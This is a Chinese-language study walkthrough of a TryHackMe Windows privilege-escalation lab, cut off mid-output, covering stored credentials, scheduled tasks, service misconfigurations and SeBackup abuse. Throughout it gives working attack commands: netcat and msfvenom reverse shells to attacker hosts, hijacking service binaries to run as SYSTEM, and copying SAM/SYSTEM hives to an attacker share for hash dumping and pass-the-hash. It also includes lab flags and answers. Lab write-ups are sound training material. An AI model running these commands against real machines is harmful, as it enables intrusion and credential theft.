【THM】Windows Privilege Escalation(Windows提权基础)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/windowsprivesc20
通过学习相关知识点:了解关于Windows权限提升技术的基础知识。
介绍
在渗透测试期间,你通常可以使用非特权用户访问某些 Windows 主机。 非特权用户将拥有有限的访问权限,可访问的范围仅包括他们名下的文件和文件夹,并且无法在主机上执行管理任务,从而使你无法完全控制目标主机。
本文介绍了攻击者在 Windows 环境中提升权限的基本技术,允许你基于主机上的任何初始非特权用户尝试升级为管理员帐户。
关于Windows 权限提升
简而言之,权限提升包括:使用“用户 A”对主机的给定访问权限,利用该权限通过滥用目标系统中的弱点来获得对“用户 B”的访问权限。 虽然我们通常希望“用户 B”拥有管理员权限,但在某些情况下,我们可能需要先升级到其他非特权帐户然后才能尝试真正获得管理员权限。
获得对不同帐户的访问权限 有时候就像在文本文件或电子表格中查找某些粗心用户未保护的凭据一样简单,但是情况并非总是如此。
根据不同的情况,我们可能需要利用以下一些弱点:
- Windows 服务或计划任务的错误配置
- 目标系统分配给我们帐户的一些过多权限
- 易受攻击的软件
- 目标系统缺少 Windows 安全补丁
在开始学习提权技术之前,让我们看一下 Windows 系统上的不同帐户类型。
Windows Users
Windows系统主要有两种用户。 根据他们的访问级别,我们可以将用户分类为以下组之一:
- Administrators:这些用户拥有最多的权限。 他们可以更改任何系统配置参数并访问系统中的任何文件。
- Standard Users:这些用户可以访问计算机,但只能执行有限的任务。这些用户不能对系统进行永久或必要的更改,仅限于访问他们自己名下的文件。
任何具有管理员权限的用户都将成为管理员组的一部分;另一方面,标准用户则是用户组的一部分。
除此之外,你通常还会接触到一些操作系统在提权上下文中使用的特殊内置帐户:
- SYSTEM / LocalSystem:操作系统用来执行内部任务的帐户。 它拥有对主机上所有可用文件和资源的完全访问权限,其权限甚至高于管理员。
- Local Service:用于以“最低”权限运行 Windows 服务的默认帐户。 它将使用网络上的匿名连接。
- Network Service:用于以“最低”权限运行 Windows 服务的默认帐户。 它将使用计算机凭据通过网络进行身份验证。
这些帐户由Windows创建和管理,你将无法将它们用作其他常规帐户;不过,在某些情况下,你可能会因 利用特定服务而获得他们的使用权限。
答题
从常见存储位置获取密码
获取其他用户访问权限的最简单方法是从受感染的计算机上收集凭据。 此类凭据的存在有多种原因,可能是粗心的用户将凭据留在纯文本文件中,或者在目标机的浏览器或电子邮件客户端等软件中已经存储了凭据。
本小节将提供一些常见密码存储位置以方便在 Windows 系统上查找密码。
本小节需要启动TryHackMe房间中的目标机器,如果你想通过 RDP 连接到目标计算机,可以使用以下凭据:
User: thm-unpriv
Password: Password321
Windows的无人值守(Unattended )安装
在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。 这些类型的安装称为无人值守安装,因为它们不需要和用户发生交互。 此类安装需要使用管理员帐户来执行初始设置,用户凭据可能存储在机器中的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,你可能会遇到如下的凭据内容:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
Powershell 历史记录
每当用户使用 Powershell 运行命令时,命令记录都会被存储到一个文件中,该文件会保留过去使用的Powershell 命令的内存。 这对于快速重复使用 你以前使用过的命令很有用。 如果用户在 Powershell 命令行中直接运行包含密码的命令,则代表我们可以在 cmd.exe 提示符下使用以下命令来检索密码:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将%userprofile%
识别为环境变量。 如果要在 Powershell 环境下读取文件,你必须将 %userprofile%
替换为 $Env:userprofile
。
保存的 Windows 凭据
Windows 允许我们使用其他用户的凭据,此功能还提供了将这些凭据保存在系统上的选项。 下面的命令将列出保存的凭据:
cmdkey /list
虽然你看不到实际的密码,但是如果你发现任何值得尝试的凭据,你可以将它们与 runas
命令和 /savecred
选项一起使用,如下所示:
runas /savecred /user:admin cmd.exe
IIS 配置
Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。 IIS 上的网站配置存储在名为 web.config 的文件中,可以存储数据库密码或配置的身份验证机制。 根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
以下是在文件中查找数据库连接字符串的快速方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
从软件中检索凭证:PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。 使用PuTTY 时,用户不必每次都指定连接的参数,而是可以存储sessions ,其中包含 IP、用户和其他配置以供以后使用。 虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包含明文身份验证凭据的代理配置。
要检索PuTTY中存储的代理凭据,你可以使用以下命令在相关注册表项下搜索 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意:SimonTatham并不是我们检索的密码相关的用户名,SimonTatham 是 PuTTY 的创建者(他的名字是路径的一部分)。 运行上述命令后,才能获取到存储的代理用户名。
就像 putty 能够存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH 客户端、VNC 软件等,都具有恢复用户保存的任何密码的方法。
答题
以下命令都是在目标机(Windows)上运行的。
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
ZuperCkretPa5z
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
098n0x35skjD3
cmdkey /list #列出保存的凭据
runas /savecred /user:mike.katz cmd.exe #mike.katz是和列出的凭据相关的用户名
查找flag文件:
cd C:\Users\mike.katz\Desktop
dir
type flag.txt
THM{WHAT_IS_MY_PASSWORD} 。
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
CoolPass2021
一些快速提权方法
权限提升并不总是一个挑战,一些错误配置也可以让你获得更高的用户访问权限,在某些情况下,甚至可以获得管理员访问权限(这些场景更多的会出现在CTF中,而不是在实际渗透测试环境下)。
计划任务(Scheduled Tasks)
查看目标系统上的计划任务,你可能会看到有一个计划任务丢失了其二进制文件,或者它正在使用你可以修改的二进制文件。
你可以使用不带任何选项的 schtasks 命令列出目标系统上的计划任务。 如果要检索有关任何服务的详细信息,你还可以使用如下命令:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
使用上述命令之后,你将获得有关该任务的一些信息,但对我们而言重要的是“Task to Run”参数,它将指示计划任务执行的内容,以及“Run As User”参数,它将显示执行计划任务时的用户。
如果我们当前的用户可以修改或覆盖“Task to Run”可执行文件,那么我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。 要检查可执行文件的文件权限,我们可以使用 icacls
:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
从上述输出结果可以看出,BUILTIN\Users 组(Windows系统中内置用户账户组)对计划任务的二进制文件具有完全访问权限 (F)。 这意味着我们可以修改 .bat 文件并插入我们需要的任何payload。 为了方便起见,可以使用 C:\tools
目录下已经准备好的nc64.exe
文件。
我们可以更改 bat 文件以生成反向 shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
在反向 shell文件中指定的同一端口上,由攻击机启动一个netcat侦听器:
nc -lvp 4444 #攻击机上
当下次计划任务开始自动运行时,你应该会在攻击机上 收到具有 taskusr1 权限的反向 shell。
在真实场景中可能必须等待计划任务自动触发,但是在此处为了节省时间,目标系统给用户提供了手动启动任务的权限,我们可以使用以下命令手动运行 计划任务:
C:\> schtasks /run /tn vulntask
你将在攻击机上,按预期收到具有 taskusr1 权限的反向 shell:
AlwaysInstallElevated
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序,它们通常以启动它的用户的权限级别运行;但是,MSI文件也可以被配置为以任何用户帐户(甚至是非特权帐户)的更高权限运行。 这可能允许我们生成一个以管理员权限运行的恶意 MSI 文件。
注意: AlwaysInstallElevated 方法在此实验中的目标机器上不起作用,该方法在本小节仅作为知识点信息提供。
此方法需要设置两个注册表值,你可以使用以下命令查询:
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
为了能够利用此漏洞,以上两个注册表值都应该设置。 设置完毕之后,就可以使用 msfvenom 生成恶意的.msi 文件,如下所示:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
由于这是一个反向 shell,你还需要在攻击机上运行相应配置的 Metasploit Handler模块来进行相关端口的监听。
将创建的文件传输到目标机,在目标机上使用以下命令运行MSI程序,最后将在攻击机上接收到一个反向 shell:
#在目标机上
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
答题
#在目标机上
schtasks /query /tn vulntask /fo list /v
#在攻击机上先设置一个监听器
nc -lvp 4444
#在目标机上
icacls c:\tasks\schtask.bat
echo c:\tools\nc64.exe -e cmd.exe 10.10.89.233 4444 > C:\tasks\schtask.bat #此处的ip为攻击机ip
#上述命令中的nc64.exe是提前放置在目标机上的,在实际环境下需要手动传输文件到目标机
schtasks /run /tn vulntask
在攻击机上接收到来自目标机的反向shell之后,在shell界面查找flag文件:
cd C:\Users\taskusr1\Desktop
dir
type flag.txt
THM{TASK_COMPLETED} 。
滥用服务配置错误
Windows服务
Windows 服务由服务控制管理器 (SCM- Service Control Manager) 管理。 SCM 是负责根据需要管理服务状态、检查任何给定服务的当前状态并通常会提供配置服务的方法的一个进程。
Windows 机器上的每个服务都有一个关联的可执行文件,只要服务启动,SCM 就会运行相关的可执行文件。 值得注意的是,服务所关联的可执行文件还实现了与 SCM 通信的特殊功能,每个服务还会指定运行该服务的用户帐户。
为了更好地理解服务的结构,让我们使用sc qc
命令检查 apphostsvc 服务配置:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
在这里我们可以看到,关联的可执行文件是通过 BINARY_PATH_NAME
参数指定的,用于运行服务的帐户会显示在 SERVICE_START_NAME
参数上。
计算机中的服务具有自由访问控制列表 (DACL-Discretionary Access Control List),DACL将指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务,以及其他特权。DACL 可以手动查看也可以通过Process Hacker查看。以下是DACL示例:
所有服务配置都存储在注册表中HKLM\SYSTEM\CurrentControlSet\Services\
:
系统中的每个服务都有一个子项。 我们可以在 ImagePath
值上看到服务所关联的可执行文件,在 ObjectName
值上看到用于启动服务的帐户,如果为服务配置了 DACL(自由访问控制列表),它将存储在名为 Security
的子项中。 默认情况下只有管理员才能修改此类注册表项。
服务关联的可执行文件的不安全权限
如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻松获得服务帐户的权限。
要了解它是如何工作的,让我们看一下在 Splinterware System Scheduler(splinterware公司的一个应用软件)上发现的漏洞。 首先,我们将使用sc qc
查询相关服务配置:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
由上述查询结果可知:漏洞软件所安装的服务以svcuser1账户运行,与该服务关联的可执行文件路径为C:\Progra~2\System~1\WService.exe
。 然后我们继续检查 服务关联的可执行文件的权限:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
由上述结果可知,Everyone组 对服务所关联的可执行文件具有修改权限 (M),这意味着我们可以简单地用我们偏好的任何有效负载(payload)覆盖此文件,然后此服务将使用配置的用户帐户的权限执行payload。
我们可以在攻击机上使用 msfvenom 生成一个 exe-service 有效负载并通过 python 网络服务器传输该payload文件到目标机:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
然后,我们可以使用以下命令从目标机的Powershell界面接收来自攻击机的payload文件:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
在 Windows 服务器中,我们将用payload文件替换掉服务所关联的可执行文件。 由于我们需要另一个用户来执行我们的payload文件,因此我们还要向Everyone组 授予完全权限:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
我们在攻击者机上启动一个反向shell监听器:
user@attackerpc$ nc -lvp 4445
最后,重新启动服务。 虽然在正常情况下,你可能需要等待服务自行重启,但在此处你已被分配了手动重启服务的权限,以节省一些时间。
你可以在cmd界面使用以下命令手动重启服务:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
注意:PowerShell 将 sc
作为 Set-Content
的别名,因此你需要使用 sc.exe
才能通过PowerShell 控制服务。
在攻击机上,你将获得一个具有 svcusr1 权限的反向 shell界面:
未引用的(服务所关联的)可执行文件路径
当我们不能像以前那样直接写入 服务所关联的可执行文件时,可能仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。
在使用 Windows 服务时,当服务被配置为指向“未引用”的可执行文件,就会发生非常特殊的行为。 未引用是指 服务所关联的可执行文件的路径未正确引用。
作为例子,让我们看看两种服务之间的区别(这些服务仅用作示例)。 第一个服务将使用正确的引用路径,以便让SCM 知道该服务启动时 必须执行"C:\Program Files\RealVNC\VNC Server\vncserver.exe"
路径所指向的二进制文件,以下是该服务相关的参数:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
请记住:PowerShell 会将“sc
”作为“Set-Content
”的别名,因此如果你在 PowerShell 环境下,你需要使用“sc.exe
”来控制服务。
现在让我们看看另一个未正确引用路径的服务:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
当 SCM 尝试执行 该服务所关联的二进制文件时,就会出现问题。 由于相关的二进制文件路径中的“Disk Sorter Enterprise”文件夹名称上有空格,因此相关命令会变得不明确,SCM 不知道你正在尝试执行以下哪个二进制文件:
这与命令提示符(cmd或者Powershell)如何解析命令有关。 通常,当你发送一个命令时,空格将用作参数分隔符,除非它们是带引号的字符串的一部分。 这意味着未引用命令的“正确”解释是执行C:\\MyPrograms\\Disk.exe
并将路径的其余部分作为参数。
SCM 会尝试按表中显示的顺序搜索每个二进制文件:
-
首先,搜索 C:\MyPrograms\Disk.exe。 如果存在,该服务将运行此可执行文件。
-
如果Disk.exe存在,它将搜索 C:\MyPrograms\Disk Sorter.exe。 如果存在,该服务将运行此可执行文件。
-
如果Disk Sorter.exe不存在,它将搜索 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe。 此选项预计会成功,并且通常会在默认情况下运行。
如果攻击者 在SCM搜索服务所关联的预期可执行文件之前(比如C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe) 就已经创建了一个可被包含在路径中的其他可执行文件(比如C:\MyPrograms\Disk.exe),那么攻击者就能在该服务启动时强制运行他们手动创建的可执行文件。
大多数服务所关联的可执行文件会默认安装在 C:\Program Files
或 C:\Program Files (x86)
下,非特权用户无法写入。 这可以防止任何易受攻击的服务被攻击者利用。 但是以上规则也有例外:一些安装程序可能会更改对应的安装文件夹的权限,从而使相关的服务易受攻击;管理员可能会决定在非默认路径下安装服务所关联的二进制文件,如果这样的路径是全局可写的,则攻击者可以利用该漏洞。
在我们的例子中,管理员在C:\MyPrograms
目录下安装了 Disk Sorter 二进制文件。 默认情况下,它会继承 C:\
目录的权限,允许任何用户在其中创建文件和文件夹。 我们可以使用 icacls
命令 进行检查:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
BUILTIN\\Users
组(Windows系统中内置用户账户组)具有 AD 和 WD 权限,允许用户分别创建子目录和文件。
使用 msfvenom 创建 exe-service payload文件 并将其传输到目标主机(在攻击机上开启一个python简易web服务器)。我们还将在攻击机上启动一个侦听器以接收来自目标机的反向shell:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
user@attackerpc$ nc -lvp 4446
将payload文件上传到目标机后(在目标机上使用wget接收文件),将其移动到可能发生劫持的任何位置。 我们会将payload文件移动并覆盖为C:\MyPrograms\Disk.exe
。 我们还将授予Everyone组 对该文件的完全权限,以确保它可以在相关服务启动的时候被成功执行:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
服务重新启动后,目标机上的payload文件应被执行:
#手动在目标机上启动服务
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
最后将在攻击机上获得具有 svcusr2 用户权限的反向 shell:
不安全的服务权限
如果服务对应的可执行文件的 DACL(自由访问控制列表) 配置良好,并且服务关联的二进制文件路径也被正确引用,你仍然有很小的机会可以对服务进行漏洞利用。
如果服务本身的DACL(注意:此处并非服务对应的可执行文件的 DACL)允许你修改服务的配置,你将能够对服务进行重新配置。 这将允许你将某个服务指向你设置的任何可执行文件路径,而且可以使用你指定的任何帐户权限去运行服务所关联的可执行文件,能够指定的账户包括 SYSTEM 账户。
如果想从命令行环境检查服务本身的DACL,你可以使用 Sysinternals 套件中的 Accesschk工具;为方便起见,目标机的C:\tools 目录下提供了一份Accesschk工具副本。 检查 thmservice 服务本身的 DACL 的命令是:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
在这里我们可以看到BUILTIN\\Users
组具有 SERVICE_ALL_ACCESS
权限,这意味着任何用户都可以对服务进行重新配置。
在更改目标机的服务配置之前,让我们先使用攻击机构建一个 exe-service 反向 shell有效载荷文件 并在攻击机上启动一个netcat侦听器:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
user@attackerpc$ nc -lvp 4447
然后,我们将 payload文件 传输到目标机并将其存储为C:\Users\thm-unpriv\rev-svc3.exe
。 在目标机上使用wget命令接收payload文件 并将其移动到恰当的位置。
注意:你还需要在目标机上授予Everyone 组成员一个执行payload文件的权限。
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
要更改服务所关联的可执行文件路径以及服务相关帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
请注意,我们可以指定任何帐户来运行该服务。 此处我们选择了 LocalSystem,因为它是可用的最高特权帐户。 为了触发并执行我们的payload文件,我们需要重新启动服务:
C:\> sc stop THMService
C:\> sc start THMService
我们将在攻击机上获得一个带有 SYSTEM 权限的 shell:
答题
问题1
服务关联的可执行文件的不安全权限
查看服务配置信息:
#在目标机上,cmd环境下
sc qc WindowsScheduler
查看服务所关联的可执行文件的权限情况:
#在目标机上,cmd环境下
icacls C:\PROGRA~2\SYSTEM~1\WService.exe #该路径由上一个命令的输出结果可知
Everyone组 对服务所关联的可执行文件具有修改权限 (M),这意味着我们可以使用payload文件覆盖服务所关联的可执行文件
在攻击机上生成payload文件,启动简易web服务器方便传输文件:
#在攻击机上
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.24.240 LPORT=4445 -f exe-service -o rev-svc.exe #反向shell文件,此处ip为攻击机ip
python3 -m http.server
在目标机上接收payload文件:
#使用目标机的powershell
wget http://10.10.24.240:8000/rev-svc.exe -O rev-svc.exe
dir
将服务所关联的二进制文件替换成payload文件并附加可执行权限:
#在目标机上,cmd环境下
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp#对原二进制文件做备份处理
move C:\Users\thm-unpriv\rev-svc.exe WService.exe #移动payload文件,并将其命名为服务所关联的二进制文件对应名称
icacls WService.exe /grant Everyone:F #授予Everyone 组成员一个执行payload文件的权限
在攻击机上设置netcat监听器:
#攻击机
nc -lvp 4445
在目标机上重新启动服务:
#目标机
sc stop windowsscheduler
sc start windowsscheduler
成功获得反向shell,查找flag文件并查看内容:
whoami
cd C:\Users\svcusr1\Desktop
dir
type flag.txt
THM{AT_YOUR_SERVICE} 。
问题2
未引用的(服务所关联的)可执行文件路径
在目标机上查看服务配置信息:
sc qc "disk sorter enterprise"
查看服务关联的可执行文件路径中的文件夹权限:
#目标机上
icacls C:\MyPrograms
由上图可知:BUILTIN\Users组(Windows系统中内置用户账户组)具有AD和WD权限,允许用户分别创建子目录和文件。
在攻击机上生成payload文件,启动简易web服务器方便传输文件:
#在攻击机上
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.24.240 LPORT=4446 -f exe-service -o rev-svc2.exe #反向shell文件,此处ip为攻击机ip
python3 -m http.server
在目标机上接收payload文件:
#使用目标机的powershell
wget http://10.10.24.240:8000/rev-svc2.exe -O rev-svc2.exe
dir
将服务所关联的二进制文件替换成payload文件并附加可执行权限:
#在目标机上
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe #接收到payload文件之后立即执行此命令,否则会因为文件被杀毒软件杀掉而导致命令执行失败
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
在攻击机上设置netcat监听器:
#攻击机
nc -lvp 4446
在目标机上重新启动服务:
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
在攻击机上成功获得反向shell,查看flag文件内容:
cd C:\Users\svcusr2\Desktop
dir
type flag.txt
THM{QUOTES_EVERYWHERE} 。
问题3
不安全的服务权限
检查服务的DACL(自由访问控制列表):
C:\tools\AccessChk\accesschk64.exe -qlc thmservice
BUILTIN\Users组具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置服务。
在攻击机上构建一个反向shell文件,并开启简易web服务器:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.24.240 LPORT=4447 -f exe-service -o rev-svc3.exe #反向shell文件,此处ip为攻击机ip
python3 -m http.server
#使用目标机的powershell
wget http://10.10.24.240:8000/rev-svc3.exe -O rev-svc3.exe
dir
对payload文件附加可执行权限,更改服务所关联的可执行文件路径以及服务相关帐户(此处改为LocalSystem账户):
#使用目标机的cmd
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F #授予Everyone 组成员一个执行payload文件的权限
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
在攻击机上开启netcat监听器:
nc -lvp 4447
在目标机上重启服务:
sc stop THMService
sc start THMService
在攻击机上成功获得反向shell,查看flag文件内容:
dir C:\Users\Administrator\Desktop
type C:\Users\Administrator\Desktop\flag.txt
THM{INSECURE_SVC_CONFIG} 。
滥用危险权限
Windows 权限
权限是指帐户是否有执行特定系统相关任务的权利。 这些任务可以简单到关闭机器,也可以是绕过某些基于 DACL(自由访问控制列表)的访问控制。
每个用户都有一组分配的权限,可以使用以下命令进行检查:
whoami /priv
此处提供了 Windows 系统上可用权限的完整列表。 从攻击者的角度来看,只有那些允许我们在系统中进行提权的初级权限才是有意义的。 你可以在 Github 项目Priv2Admin上找到一个可被攻击者利用的权限的完整列表。
SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何适当的 DACL(自由访问控制列表)。 此权限存在的背后动机是允许某些用户在系统中执行备份操作,而无需授予其完全的管理权限。
一旦拥有SeBackup 和 SeRestore权限,攻击者就可以通过使用多种技术轻松进行提权操作。 包括复制 SAM 和 SYSTEM 注册表配置单元(registry hives)以提取本地管理员的密码hash值。
你可以使用以下凭据通过 RDP 登录到目标计算机:
User: THMBackup
Password: CopyMaster555
此帐户是“Backup Operators”组的一部分,默认情况下会授予该组 SeBackup 和 SeRestore 权限。 我们需要使用“以管理员身份打开”选项打开cmd以使用这些权限。 我们将被要求再次输入密码以运行高级别的控制台程序:
在命令提示符(cmd)下,我们可以使用以下命令检查我们的权限,具体命令和执行结果如下:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
要备份 SYSTEM
和 SAM
中的密码哈希值,我们可以使用以下命令,具体命令和执行结果如下:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
以上命令将创建一些包含注册表配置单元内容的文件。 我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击机上。
我们可以在攻击机上使用 impacket
中的 smbserver.py
来启动一个简单的 SMB 服务器,并在攻击机的当前目录下启动一个网络共享:
#在攻击机上
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
这将创建一个指向共享目录 名为public
的共享,该命令需要我们提供当前 Windows 会话的用户名和密码;在此之后,我们就可以在 windows 机器中使用复制命令(copy
)将两个所需文件传输到我们的 AttackBox:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
在攻击机上使用impacket
检索用户的密码哈希,具体命令和结果如下:
#在攻击机上
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
在攻击机上,我们可以利用管理员的密码哈希值来执行 Pass-the-Hash 攻击并获得目标机器的 SYSTEM 级别访问权限,具体命令和执行结果如下:
#在攻击机上
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
